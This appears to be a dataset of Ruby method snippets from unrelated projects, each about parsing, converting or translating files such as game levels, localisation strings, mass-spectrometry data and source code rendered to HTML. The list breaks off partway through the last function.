"def transform_files!(files, type) \n files.each do |file|\n parsed = \"\"\n namespace = [DEFAULT_LANGUAGE, 'txt', type] + Base.get_namespace(file, type)\n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n n = Namespace.new(namespace)\n \n contents = Base.get_file_as_string(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, n)\n \n #puts parsed\n # write the file\n \n File.open(file, 'w') { |file| file.write(parsed)}\n \n \n \n n.merge(@translations)\n end\n end",
"def parse_name_file file\r\n #name_file = \"#{@giorno_flusso}\" + \"#{file.gsub \"MGP_\",\"MGP\"}\" + \".xml\" \r\n name_file = case file\r\n when /OffertePubbliche/ then \"#{@giorno}\" + \"#{file.gsub \"MGP_\",\"MGP\"}\" + \".zip\" \r\n when /MGP/ then \"#{@giorno}\" + \"#{file.gsub \"MGP_\",\"MGP\"}\" + \".xml\" \r\n when /MI1/ then \"#{@giorno}\" + \"#{file.gsub \"MI1_\",\"MI1\"}\" + \".xml\"\r\n when /MI2/ then \"#{@giorno}\" + \"#{file.gsub \"MI2_\",\"MI2\"}\" + \".xml\"\r\n when /MI3/ then \"#{@giorno}\" + \"#{file.gsub \"MI3_\",\"MI3\"}\" + \".xml\" \r\n when /MI4/ then \"#{@giorno}\" + \"#{file.gsub \"MI4_\",\"MI4\"}\" + \".xml\" \r\n when /MI5/ then \"#{@giorno}\" + \"#{file.gsub \"MI5_\",\"MI5\"}\" + \".xml\" \r\n end\r\n name_file\r\n end",
"def convert\n puts \"\\n--------------------------------\"\n puts \"Transforming #{File.extname(@file)} file to .#{@type} format...\"\n \n runHardklor if @hardklor && @file.downcase.include?(\".mzxml\")\n \n if @type == \"mgf\" || @type == \"ms2\"\n Ms::Msrun.open(@file) do |ms|\n file = @file.chomp(File.extname(@file)) + \"_#{@run}.#{@type}\"\n File.open(file, 'w') do |f|\n f.puts eval(\"ms.to_#{@type}\")\n end\n end\n else\n # If ms-msrun can't do it, then this might. Do something here to include run number. Doesn't work with Refiner, so\n # this is probably pointless to even have.\n #\n # And why do we run our own code to transform mzML instead of TPP?\n # 1) Prince said so\n # 2) I hate the TPP. The people who put that together don't deserve to be called programmers. I mean, come on! Methods\n # should never be longer than 100 lines of code, yet they've got methods that are over 1000 lines of code! Ack! It\n # just makes my skin crawl!\n system(\"/usr/local/src/tpp-4.3.1/build/linux/MzXML2Search -#{@type} #{@file}\")\n end\n end",
"def parse_translation_file(pattern, model)\n # check if all languages have an associated column name\n Florensia::Language.all.map(&:name).each do |l|\n next if model.columns.map(&:name).include?(l)\n error \"Fatal error: '#{l}' not found in column names of {model.name} but within Florensia::Language\"\n raise \"Translation/Description Language Error\"\n end\n\n batch(Dir[pattern]) do |f|\n data = open(f).read # reading file\n data.encode!('utf-8', 'utf-16') # fix encoding\n data = data.split(\"\\r\\n\") # split into lines\n data.pop # delete __END\n\n # working on header/languages\n header = data.shift.downcase.split(\"\\t\")\n header.shift # 'Code' an identifier, not a language\n #check if we have all languages in our system\n header.delete(\"name\") # that's not a language but is included in Descriptions\n header.each do |l|\n next if model.columns.map(&:name).include?(l)\n error \"Fatal error: '#{l}' not found in column names of #{model.name}\"\n raise \"Translation/Description Language Error\"\n end\n\n # working on the datasets itself\n data.each do |line|\n line = line.split(\"\\t\")\n code = line.shift #first column is the identifier\n line.shift if model == Florensia::Description #second column is unused 'name' in description files\n line.collect!{|text| text.gsub('\\n', \"\\n\")} #fix line breaks\n t = model.where(code: code).first_or_initialize\n t.update_attributes(Hash[header.zip(line)])\n end\n end\n end",
"def parse_file(filename); end",
"def parse_multifile(filename: \"\", type: \"old\")\r\n !filename.empty? ? file = File.binread(filename) : return\r\n case type\r\n when \"old\"\r\n file.split(\"\\n\").map(&:strip).reject(&:empty?).map{ |m|\r\n title = m.split('#')[0][1..-1] rescue \"\"\r\n author = \"Metanet Software\"\r\n map = parse_map(data: m.split(\"#\")[1], type: \"old\") rescue {tiles: [], objects: []}\r\n {title: title, author: author, tiles: map[:tiles], objects: map[:objects]}\r\n }\r\n else\r\n print(\"ERROR: Incorrect type (old).\")\r\n return 0\r\n end\r\nend",
"def parse_multifile(filename: \"\", type: \"old\")\n !filename.empty? ? file = File.binread(filename) : return\n case type\n when \"old\"\n file.split(\"\\n\").map(&:strip).reject(&:empty?).map{ |m|\n title = m.split('#')[0][1..-1] rescue \"\"\n author = \"Metanet Software\"\n map = parse_map(data: m.split(\"#\")[1], type: \"old\") rescue {tiles: [], objects: []}\n {title: title, author: author, tiles: map[:tiles], objects: map[:objects]}\n }\n else\n print(\"ERROR: Incorrect type (old).\")\n return 0\n end\nend",
"def process_file(file, files)\n # puts \"processing file #{file.to_s}\"\n case check_file_ext(file)\n when 'atp'\n files << file unless files.include?(file)\n when 'avc'\n files << file unless files.include?(file)\n when 'list'\n parse_list(file, files)\n end\n end",
"def process_file(src)\n media = \"\"\n # files first\n get_files(src).each do |file|\n next if file =~ /\\/\\._/\n \n # first we check if the file is a tv series\n episode_status, episode_name, episode_season, episode_episode = tv_file(file) if $config[\"series\"][\"process\"] == true\n if episode_status == true\n episode = Episode.new file\n if episode.is_ep?\n episode.status = handle_series episode \n media = episode.class.to_s\n end\n end\n \n # second we check if the file is music\n music_status = music_file(file) if $config[\"music_file\"][\"process\"] == true\n if music_status == true\n music = Music.new file\n if music.is_music?\n music.status = handle_music music \n media = music.class.to_s\n end\n end\n \n # finally we can handle rar's\n handle_rar(file) if file =~ /\\.rar$/ and file !~ /part\\d+\\.rar$/\n handle_rar(file) if file =~ /part01\\.rar$/\n end # get_files\n media\nend",
"def parse_file(file, lines)\n\t\traise \"Missing parse_file() implementation for Filter: #{@name}\"\n\tend",
"def translate_file(filename)\n f = File.read(filename)\n f = translate_title(f)\n f = translate_body(f)\n f = update_category(f)\n f\n end",
"def parse_files(*files); end",
"def breakdown_by_file\n @file_breakdown ||= begin\n breakdown = Hash.new { |h,k| h[k] = Array.new }\n cache.each do |filename, (language, _)|\n breakdown[language] << filename.dup.force_encoding(\"UTF-8\").scrub\n end\n breakdown\n end\n end",
"def convert(tableread)\n\ttableread[0].each do |filename|\n\t\t#puts filename\n\t\ttext = File.open(filename).read\n\t\ttext = text.gsub(\"<\", \"<\").gsub(\">\", \">\")\n\t\t#convert code to html\n\t\ttextlines = text.split(/\\r*\\n/)\n\t\tcounter = 1\n\t\ttext = \"<html><head><meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=utf-8\\\"/></head>\\n<body><pre>\"\n\t\ttextlines.each do |line|\n\t\t\tline = \"<a name=\\\"\"+counter.to_s+\"\\\">\"+line+\"</a>\\n\"\n\t\t\ttext += line\n\t\t\tcounter = counter + 1\n\t\tend\n\t\ttext = text + \"</pre></body></html>\"\n\t\t#modify text based on dump (may need to reorder it)\n\t\ttableread[1].each do |var|\n\t\t\t#puts var[0]+\" \"+var[1]+\" \"+var[2].to_s+\" \"+var[3].to_s\n\t\t\tif var.last == -2 or var.last == 1\n\t\t\t\t#Need to change this to allow multi-files\n\t\t\t\tappearances = text.split(/(?<=\\n)/)\n\t\t\t\ttext = \"\"\n\t\t\t\tappearances.each do |temp|\n\t\t\t\t\tif not temp.include? (\">\"+var[0])\n\t\t\t\t\t\tif not temp.include? \"<a name=\\\"\"+var[2].to_s+\"\\\">\" or filename != var[1]\n\t\t\t\t\t\t\tif temp =~ (temp.scan '\\W'+var[0]+'\\W')\n\t\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a href=\\\"\"+var[1].gsub(/\\./,\"_\")+\".html\"+\"#\"+var[2].to_s+\"\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a name=\\\"searched\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t#text = text.gsub(var[0],\"<a href=\\\"\"+var[1]+\"#\"+var[2].to_s+\"\\\">\"+var[0]+\"</a>\")\n\t\t\telsif var.last == -1\n\t\t\t\tif var[1] == filename.split(/\\//).last\n\t\t\t\t\tprocessed = false\n\t\t\t\t\tbalance = 0\n\t\t\t\t\tcounter = 0\n\t\t\t\t\tsplitter = text.split(Regexp.new \"(?=<a name=\\\"\"+var[2].to_s+\"\\\">)\")\n\t\t\t\t\ttext = splitter.first\n\t\t\t\t\ttemptext = splitter.last\n\t\t\t\t\tskipping = false\n\t\t\t\t\twhile processed == false or balance != 0\n\t\t\t\t\t\tcounter = counter + 1\n\t\t\t\t\t\tif temptext[counter] == '\"'\n\t\t\t\t\t\t\tif skipping == true\n\t\t\t\t\t\t\t\tskipping = false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tskipping = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif temptext[counter] == '{' and skipping == false\n\t\t\t\t\t\t\tprocessed = true\n\t\t\t\t\t\t\tbalance = balance + 1\n\t\t\t\t\t\telsif temptext[counter] == '}' and skipping == false\n\t\t\t\t\t\t\tprocessed = true\n\t\t\t\t\t\t\tbalance = balance - 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tusefultext = temptext[0..counter]\n\t\t\t\t\t\n\t\t\t\t\tappearances = usefultext.split(/(?<=\\n)/)\n\t\t\t\t\tappearances.each do |temp|\n\t\t\t\t\t\tif not temp.include? (\">\"+var[0])\n\t\t\t\t\t\t\tif not temp.include? \"<a name=\\\"\"+var[2].to_s+\"\\\">\"\n\t\t\t\t\t\t\t\tif temp =~ (Regexp.new '\\W'+var[0]+'\\W',true)\n\t\t\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a href=\\\"\"+var[1].gsub(/\\./,\"_\")+\".html\"+\"#\"+var[2].to_s+\"\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a name=\\\"searched\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\ttext = text + temptext[counter+1..-1]\n\t\t\t\tend\n\t\t\telsif var.last == -5\n\t\t\t\tif var[1] == filename.split(/\\//).last\n\t\t\t\t\tappearances = text.split(Regexp.new \"(?<=\"+var[0]+\")\")\n\t\t\t\t\ttext = \"\"\n\t\t\t\t\tappearances.each do |temp|\n\t\t\t\t\t\tif not temp.include? (\">\"+var[0])\n\t\t\t\t\t\t\tif not temp.include? \"<a name=\\\"\"+var[2].to_s+\"\\\">\"\n\t\t\t\t\t\t\t\tif temp =~ (Regexp.new '\\W'+var[0]+'\\W',true)\n\t\t\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a href=\\\"\"+var[1].gsub(/\\./,\"_\")+\".html\"+\"#\"+var[2].to_s+\"\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a name=\\\"searched\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t#puts \"Local: \"+ appearances\n\t\t\telse\n\t\t\t\tif var[1] == filename.split(/\\//).last\n\t\t\t\t\tprocessed = false\n\t\t\t\t\tbalance = 0\n\t\t\t\t\tcounter = 0\n\t\t\t\t\tsplitter = text.split(Regexp.new \"(?=<a name=\\\"\"+var[2].to_s+\"\\\">)\")\n\t\t\t\t\ttext = splitter.first\n\t\t\t\t\ttemptext = splitter.last\n\t\t\t\t\tskipping = false\n\t\t\t\t\twhile processed == false or balance != -1\n\t\t\t\t\t\tcounter = counter + 1\n\t\t\t\t\t\tif temptext[counter] == '\"'\n\t\t\t\t\t\t\tif skipping == true\n\t\t\t\t\t\t\t\tskipping = false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tskipping = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif temptext[counter] == '{' and skipping == false\n\t\t\t\t\t\t\tprocessed = true\n\t\t\t\t\t\t\tbalance = balance + 1\n\t\t\t\t\t\telsif temptext[counter] == '}' and skipping == false\n\t\t\t\t\t\t\tprocessed = true\n\t\t\t\t\t\t\tbalance = balance - 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tusefultext = temptext[0..counter]\n\t\t\t\t\t\n\t\t\t\t\t#appearances = usefultext.split(Regexp.new \"(?<=\"+var[0]+\")\")\n\t\t\t\t\tappearances = usefultext.split(/(?<=\\n)/)\n\t\t\t\t\tappearances.each do |temp|\n\t\t\t\t\t\tif not temp.include? (\">\"+var[0])\n\t\t\t\t\t\t\tif not temp.include? \"<a name=\\\"\"+var[2].to_s+\"\\\">\"\n\t\t\t\t\t\t\t\tif temp =~ (Regexp.new '\\W'+var[0]+'\\W',true)\n\t\t\t\t\t\t\t\t\ttemp = temp.gsub((Regexp.new '(?<=\\W'+var[0]+'\\W)'),\"<a href=\\\"\"+var[1].gsub(/\\./,\"_\")+\".html\"+\"#\"+var[2].to_s+\"\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttemp = temp.gsub(var[0],\"<a name=\\\"searched\\\">\"+var[0]+\"</a>\")\n\t\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttext = text + temp\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\ttext = text + temptext[counter+1..-1]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#htmlParse(text)\n\n\t\t#print text\n\t\t#text = text.gsub(/\\r*\\n/, \"<br>\\n\")\n\t\t#puts text\n\t\tFile.open(filename.gsub(/\\./,\"_\")+\".html\", \"w\") do |out|\n\t\t\tout.write(text)\n\t\t\t#out.write(replaceGT)\n\t\tend\n\tend\nend",
"def parse( logger = nil )\n result = nil\n line_count = 0\n detector_fin1_res = ContextDetector.new( FIN1_RESULT_TYPEDEF, logger )\n detector_fin2_res = ContextDetector.new( FIN2_RESULT_TYPEDEF, logger )\n detector_fin3_res = ContextDetector.new( FIN3_RESULT_TYPEDEF, logger )\n detector_uisp_res = ContextDetector.new( UISP_RESULT_TYPEDEF, logger )\n detector_fin1_sta = ContextDetector.new( FIN1_STARTLIST_TYPEDEF, logger )\n\n File.open( @full_pathname ) do |f|\n f.each_line do |curr_line| # Make sure each line has a valid UTF-8 sequence of characters:\n curr_line = EncodingTools.force_valid_encoding( curr_line )\n line_count += 1\n # While reading the file line by line, detect the type:\n if detector_fin3_res.feed_and_detect( curr_line, line_count, nil )\n logger.info( \"FIN3 RESULT-type file detected!\" ) if logger\n result = Fin3ResultDefs.new( logger )\n break\n\n elsif detector_fin1_res.feed_and_detect( curr_line, line_count, nil )\n logger.info( \"FIN1 RESULT-type file detected!\" ) if logger\n result = FinResultDefs.new( logger )\n break # Break as soon as we have a match (FIFO wins)\n\n elsif detector_fin2_res.feed_and_detect( curr_line, line_count, nil )\n logger.info( \"FIN2 RESULT-type file detected!\" ) if logger\n result = Fin2ResultDefs.new( logger )\n break\n\n elsif detector_uisp_res.feed_and_detect( curr_line, line_count, nil )\n logger.info( \"UISP RESULT-type file detected!\" ) if logger\n result = UispResultDefs.new( logger )\n break\n\n elsif detector_fin1_sta.feed_and_detect( curr_line, line_count, nil )\n logger.info( \"FIN1 STARTLIST-type file detected!\" ) if logger\n result = FinStartListDefs.new( logger )\n break\n\n else\n nil\n end\n end\n end\n result\n end",
"def transliterate_file_name\n\t\t\tfile_names = Array.new\n\t\t\t@attributes.keys.each { |a| file_names << a if a.match(/_file_name{1}$/) }\n\t\t\tfile_names.each do |local_file_name|\n\t\t\t\tif self.send(local_file_name).present? && self.send(local_file_name+'_changed?')\n\t\t\t\t\textension = File.extname(send(local_file_name)).gsub(/^\\.+/, '')\n\t\t\t\t\tfilename = send(local_file_name).gsub(/\\.#{extension}$/, '')\n\t\t\t\t\tself.send(local_file_name.gsub(/_file_name{1}$/, '')).instance_write(:file_name, \"#{transliterate(filename)}.#{transliterate(extension)}\")\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def parse_file(filename: \"\", type: \"level\")\n !filename.empty? ? file = File.binread(filename) : return\n case type\n when \"level\"\n mode = file[12].reverse.hd # game mode: 0 = solo, 1 = coop, 2 = race, 4 = unset\n title = file[38..165].split(//).delete_if{ |b| b == \"\\x00\" }.join\n author = \"\"\n map = parse_map(data: file[184..-1], type: \"new\")\n when \"attract\"\n map_length = file[0..3].reverse.hd\n demo_length = file[4..7].reverse.hd\n map_data = file[8 .. 8 + map_length - 1]\n demo_data = file[8 + map_length .. 8 + map_length + demo_length - 1]\n\n level_id = map_data[0..3].reverse.hd\n title = map_data[30..157].split(//).delete_if{ |b| b == \"\\x00\" }.join\n index = map_data[159..-1].split(//).find_index(\"\\x00\") + 158\n author = map_data[159..index]\n map = parse_map(data: map_data[index + 2..-1], type: \"new\")\n # demo = parse_demo(data: demo_data, attract: true) # no se si el attract hace falta, comparar esto con una replay normal\n when \"old\"\n title = file.split('#')[0][1..-1]\n author = \"Metanet Software\"\n map = parse_map(data: file.split(\"#\")[1], type: \"old\")\n else\n print(\"ERROR: Incorrect type (level, attract, old).\")\n return 0\n end\n {title: title, author: author, tiles: map[:tiles], objects: map[:objects]}\nend",
"def parse_from_file filename\n parse File.open(filename)\n end",
"def convert_line(line, filename)\n if filename.include?('loops') || filename.include?('peers')\n convert_ntp_line(line)\n elsif filename.include?('message')\n convert_message_line(line)\n elsif filename.include?('nagios')\n convert_nagios_line(line)\n else \n convert_ntp_line(line) # give up, fall back on original behavior\n end \nend",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def file_language_by_file_extension s_file_path, msgcs\n if KIBUVITS_b_DEBUG\n bn=binding()\n kibuvits_typecheck bn, String, s_file_path\n kibuvits_typecheck bn, Kibuvits_msgc_stack, msgcs\n end # if\n ar_tokens=Kibuvits_str.ar_bisect(s_file_path.reverse, '.')\n s_file_extension=ar_tokens[0].reverse.downcase\n s_file_language=\"undetermined\"\n case s_file_extension\n when \"js\"\n s_file_language=\"JavaScript\"\n when \"rb\"\n s_file_language=\"Ruby\"\n when \"php\"\n s_file_language=\"PHP\"\n when \"h\"\n s_file_language=\"C\"\n when \"hpp\"\n s_file_language=\"C++\"\n when \"c\"\n s_file_language=\"C\"\n when \"cpp\"\n s_file_language=\"C++\"\n when \"hs\"\n s_file_language=\"Haskell\"\n when \"java\"\n s_file_language=\"Java\"\n when \"scala\"\n s_file_language=\"Scala\"\n when \"html\"\n s_file_language=\"HTML\"\n when \"xml\"\n s_file_language=\"XML\"\n when \"bash\"\n s_file_language=\"Bash\"\n else\n msgcs.cre \"Either the file extension is not supported or \"+\n \"the file extension extraction failed.\\n\"+\n \"File extension candidate is: \"+s_file_extension, 1.to_s\n msgcs.last[\"Estonian\"]=\"Faililaiend on kas toetamata või ei õnnestunud \"+\n \"faililaiendit eraldada. \\n\"+\n \"Faililaiendi kandidaat on:\"+s_file_extension\n end # case\n return s_file_language\n end",
"def parse! filename\n parse_! filename\n end",
"def parse_input (input_file)\nend",
"def parse\n\t\t\t\tdata = unpack(File.open(@filename, 'rb') {|io| io.read})\n\t\t\t\t@tunefile = BinReader.new.string_extractor(data, 12728)\n\t\t\t\tif @tunefile[/^[A-Z]:.*/] != @tunefile and File.extname(@tunefile) != \".LTQTune\"\n\t\t\t\t\t@tunefile = BinReader.new.string_extractor(data, 12872)\n end\n\t\t\t\tif @tunefile[/^[A-Z]:.*/] != @tunefile and File.extname(@tunefile) != \".LTQTune\"\n\t\t\t\t\t@tunefile = BinReader.new.string_extractor(data, 13750)\n\t\t\t\tend\n if @tunefile[/^[A-Z]:\\\\/].nil? or File.extname(@tunefile) != \".LTQTune\"\n raise StandardError, \"ParseError: Tunefile doesn't have a drive letter\"\n end\n\t\t\t\t@tunefile\n\t\t\t\tbegin \n\t\t\t\t raise StandardError, \"Failed to correctly parse method file for Tunefile location\" if @tunefile[/^[A-Z]:.*/] != @tunefile and File.extname(@tunefile) != \".LTQTune\"\n\t\t\t\trescue StandardError\n\t\t\t\t @tunefile = nil\n\t\t\t\t puts \"ParseError, skipping tunefile\"\n\t\t\t\tend\n\t\t\tend",
"def process(orig_file)\n end",
"def parse(file)\n puts \"Not yet implemented\"\nend",
"def process_compiled_file\n doc = Nokogiri::XML(File.open(@source))\n records = doc.xpath('//*[local-name()=\"mods\"]')\n records.each do |record|\n # record\n druid = record.parent['objectId']\n doc_node = Nokogiri::XML(record.to_s)\n mods_file = MODSFile.new(doc_node, @template_xml, @namespace)\n process_mods_file(mods_file, druid)\n end\n write_output if @analysis_only == false\n report_data_loss\n end",
"def parse(filename, custom_path = nil)\n # Find the correct file based on the current locale setting in SketchUp.\n # If no path has been given it'll revert back to the Resource folder in\n # SketchUp, like LanguageHandler does.\n if custom_path\n path = File.expand_path(custom_path)\n full_file_path = File.join(path, Sketchup.get_locale, filename)\n else\n full_file_path = Sketchup.get_resource_path(filename)\n end\n\n # Define returned dictionary. Make a hash that will return the key given\n # if the key doesn't exist. That way, when a translation is missing for\n # a string it will be returned un-translated.\n strings = Hash.new { |hash, key| key }\n\n # Ensure the file is valid.\n if full_file_path.nil? || !File.exist?(full_file_path)\n puts \"Warning! Could not load dictionary: #{full_file_path}\"\n return strings\n end\n\n # Read and process the content.\n state = STATE_SEARCH\n key_buffer = ''\n value_buffer = ''\n state_cache = nil # Used when comments are exited.\n\n # File position statistics.\n last_line_break = nil\n line_pos = 0\n\n if Sketchup.version.split('.')[0].to_i < 14\n read_flags = 'r'\n else\n read_flags = 'r:BOM|UTF-8'\n end\n\n File.open(full_file_path, read_flags) { |file|\n file.lineno = 1 # Line numbers must be manually tracked.\n file.each_byte { |byte|\n # Count line numbers and keep track of line position.\n if byte.chr =~ TOKEN_EOL # (?) Can we avoid regex? Is 10 & 13 enough?\n line_pos = 0\n if last_line_break.nil? || byte == last_line_break\n file.lineno += 1\n last_line_break = byte\n end\n else\n line_pos += 1\n last_line_break = nil\n end\n\n log_state(state, byte)\n\n # Check for UTF-8 BOM at the beginning of the file. (0xEF,0xBB,0xBF)\n # This is done here before the rest of the parsing as these are\n # special bytes that doesn't appear visible in editors.\n if file.lineno == 1\n if line_pos == 1 && byte == 0xEF\n state = STATE_EXPECT_UTF8_BOM\n next\n elsif state == STATE_EXPECT_UTF8_BOM\n if line_pos == 2 && byte == 0xBB\n next\n elsif line_pos == 3 && byte == 0xBF\n # Reset line position tracker as the BOM is not visible in\n # editors and will give misleading references.\n line_pos = 0\n state = STATE_SEARCH\n next\n end\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n end\n\n # Process the current byte.\n # Note that White-space and EOL matches are done with regex and\n # therefore last in evaluation.\n case state\n\n # Neutral state looking for the beginning of a key or comment.\n when STATE_SEARCH\n if byte == TOKEN_QUOTE\n state = STATE_IN_KEY\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # Parser is inside a key string looking for end-quote.\n # All characters that are not the end-quote is considered part of\n # the string and is added to the buffer.\n when STATE_IN_KEY\n if byte == TOKEN_QUOTE\n state = STATE_EXPECT_EQUAL\n else\n key_buffer << byte\n end\n\n # After a key the parser expects to find an equal token or a concat\n # token that will allow a string to be split up. Comments are\n # allowed.\n when STATE_EXPECT_EQUAL\n # Accept: Whitespace, Comment\n # Look for: = /\n if byte == TOKEN_EQUAL\n state = STATE_EXPECT_VALUE\n elsif byte == TOKEN_CONCAT\n state = STATE_SEARCH\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # After a key and equal-token is found the parser expects to find\n # a value string. Comments are allowed.\n when STATE_EXPECT_VALUE\n if byte == TOKEN_QUOTE\n state = STATE_IN_VALUE\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # Parser is inside a value string looking for end-quote.\n # All characters that are not the end-quote is considered part of\n # the string and is added to the buffer.\n when STATE_IN_VALUE\n if byte == TOKEN_QUOTE\n state = STATE_EXPECT_END\n strings[ key_buffer ] = value_buffer\n else\n value_buffer << byte\n end\n\n # After a key and value pair has been found the parser expects to\n # find and end token or end of line. The end token is only required\n # if multiple statements are placed on the same line.\n #\n # A concat token will kick the parser back into looking for a value\n # string.\n #\n # Comments are allowed.\n when STATE_EXPECT_END\n if byte == TOKEN_END || byte.chr =~ TOKEN_EOL\n state = STATE_SEARCH\n key_buffer = ''\n value_buffer = ''\n elsif byte == TOKEN_CONCAT\n state = STATE_EXPECT_VALUE\n elsif byte == TOKEN_COMMENT_START\n state_cache = state\n state = STATE_EXPECT_COMMENT\n elsif byte.chr =~ TOKEN_WHITESPACE\n # Ignore.\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # The beginning of a comment is found. The next token is expected to\n # be a token for either singe-line or multi-line comment.\n when STATE_EXPECT_COMMENT\n if byte == TOKEN_COMMENT_MULTI\n state = STATE_IN_COMMENT_MULTI\n elsif byte == TOKEN_COMMENT_SINGLE\n state = STATE_IN_COMMENT_SINGLE\n else\n raise ParseError, parse_error(file, state, byte, line_pos)\n end\n\n # The parser is processing a multi-line comment. When it encounter a\n # multi-line token will look for an comment end-token next. All\n # other data is ignored.\n when STATE_IN_COMMENT_MULTI\n if byte == TOKEN_COMMENT_MULTI # Multiline Comment\n state = STATE_EXPECT_COMMENT_END\n end\n\n # The parser is processing a multi-line comment and the last token\n # was an indication for end of comment. If this token is not an\n # end-token it will resume to processing the comment.\n when STATE_EXPECT_COMMENT_END\n if byte == TOKEN_COMMENT_START # End token is the same as start.\n state = state_cache\n elsif byte != TOKEN_COMMENT_MULTI\n state = STATE_IN_COMMENT_MULTI\n end\n\n # The parser is processing a single-line comment. The comment ends\n # at the first end-of-line.\n when STATE_IN_COMMENT_SINGLE\n if byte.chr =~ TOKEN_EOL\n state = state_cache\n end\n end\n } # file.each_byte\n } # File.open\n\n return strings\n end",
"def convFile(f)\n\t\t\tdoc = Nokogiri::HTML(File.open(f))\n\t\t\tpage = {}\n\t\t\tpage[:title] = doc.xpath(\"/html/head/title/text()\").to_s\n\t\t\tpage[:fileName] = f.split(\"/\").last.split(\".\")[0]\n\t\t\tpage[:sections] = []\n\t\t\t# files this page relies on. Should be copied to the final directory\n\t\t\tpage[:dependencies] = [] \n\t\t\tdoc.xpath(\"/html/body/table[2]/tr[@valign=\\\"top\\\"]\").each do |e|\n\t\t\t\ts = {}\n\t\t\t\ts[:title] = e.xpath(\"td[1]/b/text()\").to_s.gsub(\" \",\"\").chomp\n\n\t\t\t\t#find the examples\n\t\t\t\te.xpath(\"td[2]/object\").each do |o|\n\t\t\t\t\texec = {}\n\t\t\t\t\tbutton = o.xpath(\"param[@name=\\\"Button\\\"]\").first[\"value\"].to_s\n\t\t\t\t\texec[:buttontext] = button[6..-1]\n\t\t\t\t\tcommand = o.xpath(\"param[@name=\\\"Item1\\\"]\").first[\"value\"].to_s\n\t\t\t\t\tcommarr = command.split(/[,;]/)\n\t\t\t\t\texec[:name] = commarr[2]\n\t\t\t\t\texec[:file] = commarr[1]\n\n\t\t\t\t\ts[:executables] ||= []\n\t\t\t\t\ts[:executables] << exec\n\t\t\t\t\to.remove # remove it from the content, we have processed it\n\t\t\t\tend\n\n\t\t\t\t#find the code\n\t\t\t\te.xpath(\"td[2]//pre\").each do |o|\n\t\t\t\t\tcode = o.content.to_s\n\t\t\t\t\ts[:code] ||= []\n\t\t\t\t\ts[:code] << code\n\t\t\t\t\to.remove # remove it from the content, we have processed it\n\t\t\t\tend\n\n\t\t\t\t#find images\n\t\t\t\te.xpath(\"td[2]//img\").each do |o|\n\t\t\t\t\tfile = o[\"src\"]\n\t\t\t\t\ts[:images] ||= []\n\t\t\t\t\ts[:images] << file\n\t\t\t\t\tpage[:dependencies] << file\n\t\t\t\t\t#o.remove # remove it from the content, we have processed it\n\t\t\t\tend\n\n\t\t\t\t#find links, mostly for processing utility\n\t\t\t\te.xpath(\"td[2]//a\").each do |o|\n\t\t\t\t\tfile = o[\"href\"]\n\t\t\t\t\ts[:links] ||= []\n\t\t\t\t\ts[:links] << file[0..-6] # strip .html\n\t\t\t\tend\n\n\t\t\t\t#format the content\n\t\t\t\tcontent = e.xpath(\"td[2]\").first\n\n\t\t\t\ttextcontent = content.content().to_s\n\t\t\t\tunless 